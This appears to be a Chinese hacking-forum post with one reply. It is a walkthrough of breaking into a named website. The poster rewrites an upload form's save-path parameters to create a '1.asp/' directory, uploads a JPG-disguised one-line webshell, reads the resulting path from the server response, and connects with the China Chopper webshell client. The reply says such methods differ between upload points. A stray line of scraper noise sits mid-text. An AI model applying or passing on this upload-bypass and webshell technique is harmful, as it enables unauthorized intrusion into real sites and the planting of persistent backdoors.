原创 修改元素突破本地上传验证

admin

首先感谢z-hero的技术指导，http://www.political-security.com[url=http://www.political-security.com/]/[/url]，先注册个账号，在建立馆那里有个上传，上传地址是http://www.political-security.co ... wPath=upload/2012-9，我们来修改一下修改为http:是//www.political-security.com/user/zl_up.asp?fromForm=myform&fromEdit=user1photo&saveTo=../upload/2012-9/1.asp/&showPath=upload/2012-9/1.asp,
. a4 k' g7 C" K, Z8 t8 G6 _$ a大家看效果，点上传，上传格式为jpg的一句话，因为我试了，大马不通过，，然后确定点否，查看源代码，script>window.opener.document.myform.user1photo.value='upload/2012-9/1.asp/2012090514191858534.jpg';</script><script>window.alert('文件上传成功!');window.close();</script>
菜刀链接，成功，嘿嘿

netlost

跟另外一篇文章有相似之处，但是手法不一样，有的上传点限制条件也不一样，看情况而定的。